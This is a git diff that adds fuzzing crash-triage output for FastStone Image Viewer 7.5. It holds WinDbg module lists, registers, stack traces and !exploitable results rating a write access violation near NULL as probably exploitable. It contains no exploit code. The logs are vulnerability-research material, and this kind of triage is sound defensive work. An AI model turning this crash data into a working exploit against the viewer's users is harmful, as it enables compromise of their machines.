+005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=1.51886e+020 8.0308e-019 2.65018e+017 -6.46187e+036 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 08038130 07fb5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0036f000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0036f000 3d0d5662 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c1 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0036f000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/7998/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..8e23375 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..1e179ee --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x428: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x428: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(428.da4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ed7b19 edx=00000000 esi=00000000 edi=0fc48fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.294700000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.8103e-036 3.35884e+030 -1.02849e-010 -1.56124e-028 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0027d000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0027d000 24751070 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d629e 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0027d000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..1e179ee --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/826/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x428: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x428: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(428.da4): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ed7b19 edx=00000000 esi=00000000 edi=0fc48fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 4.294700000000000000000e+0005 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=2.8103e-036 3.35884e+030 -1.02849e-010 -1.56124e-028 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 